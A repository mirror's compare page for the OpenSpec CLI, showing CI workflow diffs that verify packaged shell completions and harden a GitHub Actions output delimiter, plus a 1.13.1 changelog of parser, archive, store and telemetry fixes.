mirror of
https://github.com/Fission-AI/OpenSpec.git
synced 2026-10-04 06:18:24 +08:00
Compare commits
38
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
634c557bd0 | ||
|
|
eb03b9e933 | ||
|
|
3312af4799 | ||
|
|
5f5914e7f7 | ||
|
|
9827762d2d | ||
|
|
11a9691524 | ||
|
|
62106f40e3 | ||
|
|
e67ac47f3a | ||
|
|
605d9e7a2b | ||
|
|
626269ed73 | ||
|
|
086c93b40b | ||
|
|
7090e16d74 | ||
|
|
a5bf5c6844 | ||
|
|
6a87a514ec | ||
|
|
fede536c27 | ||
|
|
8fc65b7f70 | ||
|
|
92fb72d1dc | ||
|
|
4c369e022b | ||
|
|
8146be5546 | ||
|
|
72bf7600a5 | ||
|
|
388d34473a | ||
|
|
2ef6fbde3d | ||
|
|
9f8dec5dd9 | ||
|
|
208b5b5510 | ||
|
|
5d221456e5 | ||
|
|
e01ed070f1 | ||
|
|
db560ae33f | ||
|
|
46ff91f2d6 | ||
|
|
4b5c07a0c2 | ||
|
|
767d63c926 | ||
|
|
6e62b1d522 | ||
|
|
e571b5b9ae | ||
|
|
3b8e5b6616 | ||
|
|
7de24044ef | ||
|
|
8b99c07bd0 | ||
|
|
09a999bbb2 | ||
|
|
09984b8242 | ||
|
|
b928165276 |
@@ -1,15 +0,0 @@
|
||||
---
|
||||
"@fission-ai/openspec": minor
|
||||
---
|
||||
|
||||
Record how commands end in usage telemetry, so failures surface without someone filing an issue.
|
||||
|
||||
A new `command_completed` event carries the outcome, a failure class from a fixed list, a bucketed exit code, and a bucketed duration. Runs that previously produced no telemetry at all now do: unknown commands, unknown flags, and a group invoked with no subcommand all exited before the tracking hook ran. Activation milestones, retry visibility, and a per-run correlation id are included.
|
||||
|
||||
`OPENSPEC_TELEMETRY_DEBUG=1` prints every event to stderr and sends nothing, so the collected list can be verified locally rather than taken on trust. `openspec config get telemetry` now reports the enabled state, the anonymous id, and the file holding it.
|
||||
|
||||
Command behavior, output, and exit codes are unchanged. Telemetry remains opt-out via `openspec config set telemetry.enabled false`, `OPENSPEC_TELEMETRY=0`, or `DO_NOT_TRACK=1`, and stays off in CI.
|
||||
|
||||
**Privacy:** this collects more than earlier releases did. `SECURITY.md` previously stated that no environment was collected, and the README stated that only command names and version were collected. Both commitments end here: platform, Node major, install kind, and the invoking coding agent are now included. They are replaced by a narrower and checkable commitment — every event name, property key, and value must be a member of a fixed list, enforced by dropping anything else before the payload is built, so no field exists that could carry a name, path, or message. Tool identities are sent as standalone events with no other property attached, and durations and exit codes are bucketed, so no single event describes a machine precisely enough to single out its owner. The full property list is in the README, and a test fails if it drifts from the code. Data is described as pseudonymous rather than anonymous, and a deletion route is published — though deleting the local id severs your history without asking anyone.
|
||||
|
||||
Every event sets `$ip: null` and `$geoip_disable: true`, so no address or derived location is recorded. The disclosure states that and the in-transit caveat, rather than asserting anything about proxy logging that this repository cannot enforce. No retention period is published until one is configured.
|
||||
@@ -42,6 +42,10 @@ jobs:
|
||||
- 'pnpm-workspace.yaml'
|
||||
- 'scripts/update-flake.sh'
|
||||
- '.github/workflows/ci.yml'
|
||||
# The Nix build runs `openspec completion generate`, so a change to
|
||||
# the generator can break packaging without touching flake.nix.
|
||||
- 'src/commands/completion.ts'
|
||||
- 'src/core/completions/**'
|
||||
|
||||
test_matrix:
|
||||
name: Test (${{ matrix.label }})
|
||||
@@ -219,6 +223,19 @@ jobs:
|
||||
echo "Error: openspec binary not found in build output"
|
||||
exit 1
|
||||
fi
|
||||
for completion in \
|
||||
"share/bash-completion/completions/openspec.bash" \
|
||||
"share/fish/vendor_completions.d/openspec.fish" \
|
||||
"share/zsh/site-functions/_openspec"; do
|
||||
if [ ! -s "result/$completion" ]; then
|
||||
echo "Error: completion script missing or empty: $completion"
|
||||
exit 1
|
||||
fi
|
||||
done
|
||||
if [ "$(head -1 result/share/zsh/site-functions/_openspec)" != "#compdef openspec" ]; then
|
||||
echo "Error: zsh completion is not autoloadable (missing #compdef header)"
|
||||
exit 1
|
||||
fi
|
||||
echo "✅ Build output verified"
|
||||
|
||||
- name: Test binary execution
|
||||
@@ -248,10 +265,14 @@ jobs:
|
||||
changed_changesets="$(git diff --name-only --diff-filter=ACMRT origin/main...HEAD -- '.changeset/*.md' ':!.changeset/README.md')"
|
||||
if [[ -n "$changed_changesets" ]]; then
|
||||
echo "has_changesets=true" >> "$GITHUB_OUTPUT"
|
||||
# Run-unique delimiter: the value is a list of PR-authored paths, so a
|
||||
# fixed "EOF" would let a crafted path close the block early and append
|
||||
# its own key=value outputs.
|
||||
delim="EOF_$(openssl rand -hex 16)"
|
||||
{
|
||||
echo "files<<EOF"
|
||||
echo "files<<$delim"
|
||||
echo "$changed_changesets"
|
||||
echo "EOF"
|
||||
echo "$delim"
|
||||
} >> "$GITHUB_OUTPUT"
|
||||
else
|
||||
echo "has_changesets=false" >> "$GITHUB_OUTPUT"
|
||||
|
||||
@@ -1,5 +1,96 @@
|
||||
# @fission-ai/openspec
|
||||
|
||||
## 1.13.1
|
||||
|
||||
### Patch Changes
|
||||
|
||||
- [#1864](https://github.com/Fission-AI/OpenSpec/pull/1864) [`767d63c`](https://github.com/Fission-AI/OpenSpec/commit/767d63c926ab1996170f2d101acac0bac6da0287) Thanks [@dwin-gharibi](https://github.com/dwin-gharibi)! - Stop archive adding a second copy of an existing requirement under a name that differs only in case or spacing. ADDED and the RENAMED target compared requirement names exactly, while REMOVED and the RENAMED source already treated a case or whitespace variant as a mistyped header, so an ADDED `late fees` beside an existing `Late Fees`, or a rename to `LATE FEES`, archived cleanly and left two contradicting requirements in the main spec, which `validate` then accepted. Both now refuse with an error naming the existing requirement, in the same form REMOVED already used. The exact-duplicate error is unchanged, a case-only rename of a requirement to its own name still works, and a variant of a requirement the same delta removes or renames away is still allowed, because ADDED is checked against the spec as it stands after the earlier operations, as the exact check already was.
|
||||
|
||||
- [#1872](https://github.com/Fission-AI/OpenSpec/pull/1872) [`72bf760`](https://github.com/Fission-AI/OpenSpec/commit/72bf7600a5f7bdf74d6387e163577086fb4c68e0) Thanks [@dwin-gharibi](https://github.com/dwin-gharibi)! - Make `openspec completion uninstall bash` hand `.bashrc` back exactly as `completion install bash` found it. Install adds the OpenSpec block at the top of the file followed by a blank separator line; uninstall removed the block but kept that blank line at the top, then stripped every trailing blank line and wrote the file back without its final newline. The byte count happened to come out unchanged, but the next tool to append to `.bashrc` with `>>` (the nvm, conda and rustup installers all do) merged its first line into the user's last line and broke both. Uninstall now also drops the separator line install added when the block sits at the top of the file, and leaves the rest untouched: the final newline, trailing blank lines and CRLF line endings all survive the round trip. A block the user moved elsewhere in the file is still removed, and the zsh, fish and PowerShell installers are unchanged.
|
||||
|
||||
- [#1829](https://github.com/Fission-AI/OpenSpec/pull/1829) [`e67ac47`](https://github.com/Fission-AI/OpenSpec/commit/e67ac47f3a164cf6d87ddcd9f50272b88f39ee0c) Thanks [@choi138](https://github.com/choi138)! - Fix bulk archive nesting a change inside an existing archive target. The workflow now checks every archive target before it writes any main spec, the same order `openspec archive` uses. A change whose target already exists, or that shares a target with another selected change, is reported as failed and is never synced or moved, while the rest of the batch continues. The check runs again just before each move.
|
||||
|
||||
- [#1878](https://github.com/Fission-AI/OpenSpec/pull/1878) [`2ef6fbd`](https://github.com/Fission-AI/OpenSpec/commit/2ef6fbde3da95f6e471bcb504d13711308091be0) Thanks [@dwin-gharibi](https://github.com/dwin-gharibi)! - Let `openspec config edit` run an `EDITOR` or `VISUAL` that carries arguments. The whole value was passed to `spawn` as the program name, so common settings such as `code --wait`, `subl -w` or `emacsclient -t` failed with `spawn code --wait ENOENT`, and because that error was never caught the command died with a raw Node stack trace. The value is now split into a program and its arguments, honoring quoted paths with spaces, and the config path is appended as its own argument. No shell is involved, so shell metacharacters in the value are passed through literally. On Windows, `.cmd` shims such as `code.cmd` are found. A value that is itself the absolute path of an existing file is still run as-is, so an unquoted editor path containing spaces keeps working. An editor that cannot be started, exits non-zero or is killed is now reported as a one-line error naming the editor, with an install hint when the program was not found, and the command exits 1 instead of throwing. `EDITOR` still takes precedence over `VISUAL`, and the file is still validated after the editor closes.
|
||||
|
||||
- [#1773](https://github.com/Fission-AI/OpenSpec/pull/1773) [`11a9691`](https://github.com/Fission-AI/OpenSpec/commit/11a9691524bad84a575854bf6dc5124f630479ba) Thanks [@clay-good](https://github.com/clay-good)! - Stop dropping checkbox lines whose marker the task parser does not recognise. A `tasks.md` whose remaining work used a marker other than `[ ]`/`[x]`/`[X]`, for example `- [~] 1.2 Deferred`, reported `✓ Complete` in `openspec list`/`status` and archived with no incomplete-task warning, because unmatched lines counted toward neither the numerator nor the denominator. An empty `[]` and a padded `[ x]` were lost the same way. Only a box holding `x` or `X` means done (spacing inside the brackets is ignored, so `[ x]` is done), and every other marker now reads as unfinished, across progress, the apply task list, archive's gate and validate's task-numbering check. The archive, bulk-archive and verify workflows now tell agents the same rule, so a hand-counted tally cannot disagree with the CLI, and the `tasks` instruction in the `spec-driven` schema states it where agents author the file. Markdown link bullets stay out of the count: `- [Some doc](./doc.md)` and the one-character `- [A](https://example.com)` are not tasks.
|
||||
|
||||
- [#1701](https://github.com/Fission-AI/OpenSpec/pull/1701) [`92fb72d`](https://github.com/Fission-AI/OpenSpec/commit/92fb72d1dcd5fa6e43802c5b2f74b5e78416e545) Thanks [@clay-good](https://github.com/clay-good)! - Agent-driven archive and sync workflows now create a missing main spec from `ADDED` requirements instead of treating it as already synced. They block sync rather than inventing `MODIFIED` or `RENAMED` requirements or writing an empty spec for a `REMOVED`-only delta, while preserving the user's explicit choice to archive without syncing. A REMOVED-only delta with `retire_capabilities: true` remains already synced when its main spec is gone. Fixes [#1222](https://github.com/Fission-AI/OpenSpec/issues/1222) and [#1264](https://github.com/Fission-AI/OpenSpec/issues/1264).
|
||||
|
||||
- [#1804](https://github.com/Fission-AI/OpenSpec/pull/1804) [`a5bf5c6`](https://github.com/Fission-AI/OpenSpec/commit/a5bf5c68447f03e4f99206e49e00b5d9111301a4) Thanks [@dwin-gharibi](https://github.com/dwin-gharibi)! - Say so when a requirement in a delta sits outside every delta section. A well-formed `### Requirement:` block written under `## Notes`, under a misspelled header such as `## Add Requirements`, or above the first `## ` header was dropped with no diagnostic: `openspec validate` reported the change valid and `openspec archive` exited 0 without applying it. `openspec validate` now reports each one as a WARNING naming the section and line, and archive prints the same warning. Nothing else changes: the block is still not applied, the verdict stays valid outside `--strict`, and requirements shown inside a code fence are not reported. Fixes [#1803](https://github.com/Fission-AI/OpenSpec/issues/1803).
|
||||
|
||||
- [#1832](https://github.com/Fission-AI/OpenSpec/pull/1832) [`4c369e0`](https://github.com/Fission-AI/OpenSpec/commit/4c369e022b1d397842d2b85675e34da6287f5801) Thanks [@clay-good](https://github.com/clay-good)! - Resolve the contradiction that left explore mode's capture branch without a governing rule. Explore states twice that the agent must ask a direct yes/no question and wait for confirmation in a separate user message before its first write-capable action, naming `openspec new change` as an example, while the capture branch tells the agent to transition "seamlessly" into running `openspec new change` and creating artifacts with no confirmation step. Both readings were defensible from the text, so the same "capture this as a change" request either wrote `.openspec.yaml` plus several artifacts immediately or stopped and asked, depending on which passage the agent weighed, which made the [#1715](https://github.com/Fission-AI/OpenSpec/issues/1715) guarantee unenforceable in the one explore path that writes files. An explicit capture request is now stated to be that confirmation, covering the change and the artifacts the request names and nothing else. The guardrail keeps its teeth for the case [#1715](https://github.com/Fission-AI/OpenSpec/issues/1715) actually reported: when the agent is the one proposing the capture, or when the work would go beyond the requested scope, it still asks first, and answers to design or clarifying questions are still never consent to write. Both explore delivery surfaces and the committed skill carry the same wording. Fixes [#1828](https://github.com/Fission-AI/OpenSpec/issues/1828).
|
||||
|
||||
- [#1788](https://github.com/Fission-AI/OpenSpec/pull/1788) [`62106f4`](https://github.com/Fission-AI/OpenSpec/commit/62106f40e3b7b7364529a2f928717e23e37282eb) Thanks [@clay-good](https://github.com/clay-good)! - Name the workflow where explore hands off. Explore mode refuses to implement, but every place it said what to do instead described the next step as prose ("create a change proposal") without naming the workflow that does it: the refusal itself, the "flow into a proposal" ending, the closing summary, and the do-not-implement guardrail. Its seamless capture path was worse: it scaffolded a change, wrote artifacts, and then said nothing at all about what came next. With no named exit, agents finished the discovery questions and started writing code, which is the failure reported through GitHub Copilot in [#869](https://github.com/Fission-AI/OpenSpec/issues/869), and which the docs already promised would not happen ("when the picture is clear, it hands off to `/opsx:propose`").
|
||||
|
||||
The explore skill and command now name `/opsx:propose` at all four prose handoffs, and the capture path ends by naming `/opsx:propose` for the remaining planning artifacts and `/opsx:apply` for implementation, with an explicit note that capturing artifacts is not permission to implement them. The references are written in the canonical `/opsx:<id>` form so each tool renders the invocation it actually registers (`/openspec-propose` for skills-only delivery, `/opsx-propose`, `/opsx:propose`, or `@opsx-propose` for command surfaces). The handoffs follow the installed workflow set: a custom profile without `propose` or `apply` gets explore's own capture path and the `openspec instructions apply` CLI instead of a command it never installed. Fixes [#869](https://github.com/Fission-AI/OpenSpec/issues/869).
|
||||
|
||||
- [#1787](https://github.com/Fission-AI/OpenSpec/pull/1787) [`9827762`](https://github.com/Fission-AI/OpenSpec/commit/9827762d2d18d8076acf90be79d64894255099ea) Thanks [@clay-good](https://github.com/clay-good)! - ### Bug Fixes
|
||||
|
||||
- Generated skills and commands no longer adopt a project that never ran `openspec init`. Every workflow now checks `root` from `openspec list --json` before its first write, and `"root": null` means the project is not set up. What happens next depends on how the workflow was reached. A skill the agent picked on its own drops OpenSpec and answers the request normally, without asking about setup. A workflow the user asked for by name, or ran as a slash command, stops and asks whether to initialize the project, target a store, or handle the request without OpenSpec. A project whose `openspec/config.yaml` names a store this machine cannot resolve (not registered, or a malformed `store:` line) is not mistaken for an uninitialized one: the workflow stops and shows the store error. Neither path lets `openspec new change` create `openspec/` in the current directory as a side effect. Skill descriptions now name OpenSpec so hosts stop offering these workflows in unrelated repositories. `openspec new change` also says when it had to create the root itself, so a directory that was never set up no longer picks up an `openspec/` directory in silence (human output only; `--json` is unchanged).
|
||||
|
||||
- [#1902](https://github.com/Fission-AI/OpenSpec/pull/1902) [`eb03b9e`](https://github.com/Fission-AI/OpenSpec/commit/eb03b9e93320cf74a0df9043577d8023116cb1aa) Thanks [@clay-good](https://github.com/clay-good)! - Harden the CLI against repositories you have cloned but not yet read ([#1835](https://github.com/Fission-AI/OpenSpec/pull/1835)).
|
||||
|
||||
- A `config.yaml` value can no longer close the project context block and inject its own directives into the instructions an agent receives.
|
||||
- A crafted delta or skill file no longer stalls `openspec update` or `openspec archive` with catastrophic regex backtracking.
|
||||
- A repository's `.npmrc` can no longer point the update check at a cleartext or attacker-controlled registry; a rejected registry now disables the check instead of falling back.
|
||||
- `openspec update` now notices a generated `SKILL.md` that was edited by hand and restores it, instead of reporting every tool as up to date.
|
||||
- `DO_NOT_TRACK=true` and other common spellings of an opt-out now turn telemetry off, and nothing is sent until the first-run notice has been shown.
|
||||
- Shell-completion installs quote directory paths safely, git probes run with bounded time and output, and dependencies are cleared of known advisories.
|
||||
|
||||
- [#1874](https://github.com/Fission-AI/OpenSpec/pull/1874) [`388d344`](https://github.com/Fission-AI/OpenSpec/commit/388d34473a40529320b2b7b9c5bb6723d18322b0) Thanks [@dwin-gharibi](https://github.com/dwin-gharibi)! - Stop legacy cleanup deleting the user's own files. The six pre-skills tools that kept their commands in a `<tool>/commands/openspec/` folder (Claude Code, CodeBuddy, Qoder, Lingma, Crush and Gemini CLI) had that whole folder removed recursively whenever it existed, so a command the user kept there, such as a team review checklist, was deleted along with OpenSpec's files, and the summary named only the folder. Because `openspec init` cleans up automatically when there is no TTY, an agent or CI running plain `openspec init` did this without `--force` and without a prompt, and `openspec update --force` did the same. Cleanup now deletes only the files OpenSpec wrote there: `proposal`, `apply` and `archive` files that still carry the OpenSpec markers every legacy command was generated with, so a same-named file the user wrote is kept. It never follows a symlinked command folder, removes the folder only once nothing else is left in it, and lists each thing it kept. A folder holding nothing OpenSpec wrote is no longer reported as legacy at all. A folder holding only OpenSpec's files, or nothing, is still removed exactly as before, with the same summary line.
|
||||
|
||||
- [#1866](https://github.com/Fission-AI/OpenSpec/pull/1866) [`8146be5`](https://github.com/Fission-AI/OpenSpec/commit/8146be5546918cdffce860f1e327d929c5a49bd3) Thanks [@dwin-gharibi](https://github.com/dwin-gharibi)! - Stop one unresolvable file from breaking `openspec list`. To sort changes by recency, `list` stats every file inside each change, and any entry it could not stat failed the whole command: a dangling symlink, such as the `.#tasks.md` lock Emacs keeps beside every file with unsaved edits, or a symlink loop made `list` exit 1 and `list --json` report `"changes": []`, so agents discovering work through it saw no changes at all. An entry that no longer resolves (removed mid-walk, a dangling symlink, or a loop) is now skipped when computing a change's last-modified time. Valid symlinks are dated as before, and any other error, such as a permission failure, still fails the listing.
|
||||
|
||||
- [#1849](https://github.com/Fission-AI/OpenSpec/pull/1849) [`09a999b`](https://github.com/Fission-AI/OpenSpec/commit/09a999bbb258c2ad6d7cdc33436c698c15d4eebe) Thanks [@clay-good](https://github.com/clay-good)! - Report a change directory nested in a namespace folder instead of silently listing the folder around it as a change. Specs can be nested by domain (`specs/mobile/tutorial-videos/spec.md`), so it looks reasonable to lay changes out the same way, but a change is only ever a directory directly under `changes/`: `changes/mobile/refresh-token/` left the real change invisible while `mobile` was reported as a task-less change everywhere. `openspec archive mobile` then moved the unfinished change into the archive under the namespace's name and applied none of its deltas. `openspec list` now marks the folder `not a change` and names the nested directories and a flat alternative, `openspec show`, `openspec status --change` and `openspec status --all` say the same instead of reporting a missing proposal or a full artifact plan, `openspec validate` reports it instead of "must have at least one delta", `openspec list --json` carries a `warnings` entry, and `openspec archive` refuses the folder outright. Detection looks up to three directory levels below `changes/`, which covers every namespace layout seen in practice; a change buried deeper than that behaves as it did before. Fixes [#1846](https://github.com/Fission-AI/OpenSpec/issues/1846).
|
||||
|
||||
- [#1902](https://github.com/Fission-AI/OpenSpec/pull/1902) [`eb03b9e`](https://github.com/Fission-AI/OpenSpec/commit/eb03b9e93320cf74a0df9043577d8023116cb1aa) Thanks [@clay-good](https://github.com/clay-good)! - Install shell completions with the Nix flake package ([#1785](https://github.com/Fission-AI/OpenSpec/pull/1785)). The package now ships bash, zsh and fish completions in their standard `share/` locations, so Nix users get tab completion without running `openspec completion install` against their home directory.
|
||||
|
||||
- [#1775](https://github.com/Fission-AI/OpenSpec/pull/1775) [`626269e`](https://github.com/Fission-AI/OpenSpec/commit/626269ed732250492d8bd220a83df23dd756ee5d) Thanks [@clay-good](https://github.com/clay-good)! - Generated skills and commands no longer point at workflows the active profile does not install. On the default `core` profile, the update workflow told agents to hand off to `/opsx:continue` for missing artifacts and to `/opsx:new` for a change of intent, neither of which `core` generates. Every cross-workflow handoff is now decided at generation time against the installed workflow set, and renders a concrete CLI fallback (`openspec status`, `openspec instructions`, `openspec archive`) when the workflow it would name is absent, rather than relying on a runtime availability check the agent had to perform. The onboarding tutorial's command tables are likewise built from the workflows you actually have.
|
||||
|
||||
Also folds in [#1735](https://github.com/Fission-AI/OpenSpec/issues/1735), which fixed the same issue ([#1734](https://github.com/Fission-AI/OpenSpec/issues/1734)) by removing the optional handoffs outright. The CLI's own runtime instructions no longer name the `openspec-continue-change` skill either, since those strings are chosen at run time and cannot be resolved against a profile; and the blocked-state fallback now carries the full CLI recovery (select the next `ready` artifact from `openspec status`, read its rules with `openspec instructions`, keep the selected `--store`) rather than a one-line pointer.
|
||||
|
||||
- [#1870](https://github.com/Fission-AI/OpenSpec/pull/1870) [`e01ed07`](https://github.com/Fission-AI/OpenSpec/commit/e01ed070f18e15529f82563d4c5af35d8124bad3) Thanks [@dwin-gharibi](https://github.com/dwin-gharibi)! - Stop archiving a change whose delta was written somewhere `archive` never reads. `validate` and `archive` read a change's deltas only from `specs/<capability-path>/spec.md`, but the spec-driven artifact graph counts any markdown file under `specs/` as the specs being written, so a delta at `specs/user-auth.md`, or in a second file beside a capability's `spec.md`, was reported done by `status` and ready by `instructions apply` with no warning, rejected by `validate` only as "no deltas found", and then archived with exit 0 and nothing merged into `openspec/specs/`. A markdown file that carries delta sections but is not a capability's `spec.md` is now a validation error naming the file and the `spec.md` its requirements belong in; `archive` runs that validation and refuses the change instead of archiving it unmerged, and `instructions apply` lists each such file in its `warnings`. `--no-validate` still archives as before, a change with no spec files still archives, and notes without delta sections under `specs/` are not affected.
|
||||
|
||||
- [#1806](https://github.com/Fission-AI/OpenSpec/pull/1806) [`6e62b1d`](https://github.com/Fission-AI/OpenSpec/commit/6e62b1d522cfadb4b9836b63d5afa127bc950743) Thanks [@dwin-gharibi](https://github.com/dwin-gharibi)! - Refuse a `## RENAMED Requirements` section whose `FROM:` and `TO:` lines do not pair up, instead of guessing. The reader kept one pending pair and dropped whatever did not fit: a `TO:` before its `FROM:`, a `FROM:` displaced by a second `FROM:`, or a trailing `FROM:` vanished with no diagnostic. Listing the old names and then the new ones paired the second `FROM:` with the first `TO:`, so `openspec archive` renamed a requirement the delta never named, under a name written for a different one, and exited 0. `openspec validate` now reports each unpaired line as an ERROR with its line number, and archive refuses the change until the pairing is fixed. Well-formed renames, including several consecutive pairs, are unchanged. A change that used to archive with a malformed RENAMED section is now rejected. Fixes [#1805](https://github.com/Fission-AI/OpenSpec/issues/1805).
|
||||
|
||||
- [#1860](https://github.com/Fission-AI/OpenSpec/pull/1860) [`4b5c07a`](https://github.com/Fission-AI/OpenSpec/commit/4b5c07a0c2e5a4a1dcb3ed9f3a040f826eb7d457) Thanks [@dwin-gharibi](https://github.com/dwin-gharibi)! - Read a requirement heading written with a CommonMark closing sequence, such as `### Requirement: Late Fees ###`, as the requirement it renders as. The trailing `#` run stayed in the name, so a REMOVED written that way looked for "Late Fees ###", missed the requirement, and archive exited 0 with a false "treating it as already removed" warning while the requirement stayed in the spec; a closed MODIFIED or RENAMED heading failed as "not found", and a closed and an open heading of one requirement were not reported as duplicates. Requirement names now drop the closing run wherever they are read, exactly as scenario names already did: only a run preceded by a space or tab counts, so a name such as `C#` keeps its `#`. Headings without a closing run are unaffected.
|
||||
|
||||
- [#1868](https://github.com/Fission-AI/OpenSpec/pull/1868) [`7090e16`](https://github.com/Fission-AI/OpenSpec/commit/7090e16d74dfe588dad72bc4fda9bf124e71b0af) Thanks [@dwin-gharibi](https://github.com/dwin-gharibi)! - Reject a schema whose `apply.requires` names an artifact that does not exist. `parseSchema` checked every artifact's `requires` but never `apply.requires`, so `openspec schema validate` passed a one-character typo there, and apply then skipped the unknown id: `apply.requires: [desgin]` turned the apply gate off and told the agent "Proceed with implementation" with only a proposal written. That is now a schema error, raised wherever the schema is loaded, exactly like an unknown artifact `requires`, and it names the bad id and the artifacts the schema declares. `openspec schema validate` also warns, without failing, when `apply.tracks` isn't exactly equal to some artifact's `generates` value, because OpenSpec finds the tracked artifact by comparing those two strings and can otherwise not tell which artifact's progress the file belongs to. That covers a typo such as `task.md` and also `tracks: tasks/main.md` against `generates: tasks/*.md`, where the glob does produce the file but the strings still differ. Apply reads that path as written either way, so schemas that track a hand-written file keep loading and working. Every built-in schema parses as before.
|
||||
|
||||
- [#1856](https://github.com/Fission-AI/OpenSpec/pull/1856) [`46ff91f`](https://github.com/Fission-AI/OpenSpec/commit/46ff91f2d626ef2c3f9f55ff345aa23cd44a6e95) Thanks [@dwin-gharibi](https://github.com/dwin-gharibi)! - Make `openspec show --json --deltas-only` report the deltas archive applies. `ChangeParser`, which backs `show --json`, the `change list` delta counts and archive's proposal warnings, read delta specs with its own section lookup instead of `parseDeltaSpec`, the reader archive uses, and the two disagreed. A REMOVED written in the bullet form (`` - `### Requirement: X` ``) was invisible to it, so it fell back to the proposal's "What Changes" prose and reported an invented MODIFIED while archive deleted the requirement; a repeated section header was read only once; and a RENAMED line written with `*` or `+` was dropped. The inspection command OpenSpec's own error text recommends therefore misreported a deletion. `ChangeParser` now derives every operation from `parseDeltaSpec`, and a change whose delta spec files carry a delta section is described by them alone, so proposal prose is never reported in place of what archive applies. Requirement text and scenarios are read exactly as before, header-form deltas produce the same output, and a change with no delta spec files, or a legacy change whose spec files carry no delta section, still falls back to the "What Changes" bullets.
|
||||
|
||||
- [#1786](https://github.com/Fission-AI/OpenSpec/pull/1786) [`8b99c07`](https://github.com/Fission-AI/OpenSpec/commit/8b99c07bd0d455f72e746d3950f03e52a025d655) Thanks [@clay-good](https://github.com/clay-good)! - `openspec status` now names the command that moves the change forward.
|
||||
|
||||
The text output reported state and stopped there, so picking a change back up (after a lost session, or on a change you did not start) meant already knowing which command came next. The JSON surface had carried that command all along in `nextSteps`; the text surface never printed it.
|
||||
|
||||
Status now ends with a `Next:` line: the next ready artifact's `openspec instructions` command while planning is unfinished, and `openspec instructions apply` once every planning artifact exists. It carries `--store <id>` when the resolved root is a store, and it is built from the same source as the JSON `nextSteps` sentence, so the two surfaces cannot name different commands.
|
||||
|
||||
- [#1882](https://github.com/Fission-AI/OpenSpec/pull/1882) [`208b5b5`](https://github.com/Fission-AI/OpenSpec/commit/208b5b55106fbeda2ed9f099671b8ce85a01cbaa) Thanks [@dwin-gharibi](https://github.com/dwin-gharibi)! - Stop a store named `specs` or `changes` from taking over root selection. Stores are placed at `~/openspec/<id>`, so a store with one of those ids is itself `~/openspec/specs` or `~/openspec/changes`, and that made `$HOME` look like a planning root. Every command run anywhere under the home directory then resolved `$HOME` as the nearest root: the global `defaultStore` was never consulted, and `new change` wrote into `~/openspec/changes`, outside any store. A `specs/` or `changes/` directory that carries store metadata no longer counts as planning content of the directory above it, so these stores resolve like any other. A real project's `openspec/specs/` and `openspec/changes/` are unaffected.
|
||||
|
||||
- [#1880](https://github.com/Fission-AI/OpenSpec/pull/1880) [`9f8dec5`](https://github.com/Fission-AI/OpenSpec/commit/9f8dec5dd937da78bbdaeff5e5dfd041bb43cf5c) Thanks [@dwin-gharibi](https://github.com/dwin-gharibi)! - Stop `openspec store remove` deleting a store the user did not name. Remove deletes the target's folder recursively, but it checked only the target's own metadata, so any other registered store living inside that folder was deleted with it, uncommitted planning work included, while its registry entry was left pointing at a path that no longer existed. The natural way to get there is a shared store vendored into another as a git submodule, a layout `store register` accepts. Remove now refuses when another registration points inside the folder, checked under the same registry lock that commits the removal, and the error names each nested store with the `openspec store unregister` command to run first. Removing a store whose other registrations are siblings is unchanged, and `store register` still accepts nested checkouts.
|
||||
|
||||
- [#1884](https://github.com/Fission-AI/OpenSpec/pull/1884) [`5d22145`](https://github.com/Fission-AI/OpenSpec/commit/5d221456e57feb9277de40482fade427201b9bdb) Thanks [@dwin-gharibi](https://github.com/dwin-gharibi)! - Let `openspec store setup --no-init-git` create a store inside an existing Git repository. Setup refuses a path inside another repository because initializing the store there would nest one repository in another, but it ran that check even with `--no-init-git`, which creates no repository at all. Users who keep their home directory as a dotfiles repository therefore could not set up a store at the recommended `~/openspec/<id>` path with any flag. With `--no-init-git` the check is now skipped, and the store never records the enclosing repository's remote. The default setup and an explicit `--init-git` still refuse a path inside another repository.
|
||||
|
||||
- [#1862](https://github.com/Fission-AI/OpenSpec/pull/1862) [`8fc65b7`](https://github.com/Fission-AI/OpenSpec/commit/8fc65b7f70c4bd730a1dbe500cbe165d156f3c58) Thanks [@dwin-gharibi](https://github.com/dwin-gharibi)! - Count task checkboxes under every CommonMark list marker. The task counter shared by `list`, `status`, `view`, `instructions apply`, `validate --archived` and archive's incomplete-task check recognized only `-` and `*` bullets, so a task written as an ordered item (`1. [ ]`, `1) [ ]`) or under a `+` bullet was invisible to all of them: a change with unfinished ordered tasks reported "✓ Complete", and `openspec archive` archived it without its incomplete-task warning. Task lines under `+` and ordered markers (`.` or `)`, up to nine digits, as CommonMark allows) now count exactly like `-` and `*` ones, including nested sub-tasks, CRLF files and the existing tolerance of a missing space after the marker, and task-numbering checks now see them too. Ordered and `+` items without a checkbox are still ignored, and `-` and `*` tasks count as before.
|
||||
|
||||
- [#1777](https://github.com/Fission-AI/OpenSpec/pull/1777) [`3312af4`](https://github.com/Fission-AI/OpenSpec/commit/3312af4799eb162d3ddb7804d643ace5282c22cb) Thanks [@clay-good](https://github.com/clay-good)! - Start generated proposal, spec, design, and tasks files with a top-level heading, so artifacts are complete markdown documents instead of files whose first line is a section header. Editors that run markdownlint no longer flag every OpenSpec artifact with MD041. `openspec schema init` scaffolds custom templates the same way.
|
||||
|
||||
`openspec show --json` and `openspec change list --json` keep naming a change by its id when its proposal opens with the template's bare `# Proposal` title.
|
||||
|
||||
- [#1778](https://github.com/Fission-AI/OpenSpec/pull/1778) [`7de2404`](https://github.com/Fission-AI/OpenSpec/commit/7de24044ef4c635f634b78fa6bc4b5905967bfd8) Thanks [@clay-good](https://github.com/clay-good)! - Make the vendor-neutral tool target findable when your assistant is not on the list. `openspec init` now shows it as "Other / Universal (shared .agents skills)"; the picker's search box matches it on `universal`, `other`, `generic`, `custom`, `proprietary`, `unlisted`, `unsupported`, `vendor-neutral` and `agents.md`; a search that matches nothing points at it instead of ending at "No matches"; and `--tools <unknown>` names it in the error. The search box also accepts punctuation, so `.agents` and `amazon-q` filter instead of silently dropping their `.` and `-`.
|
||||
|
||||
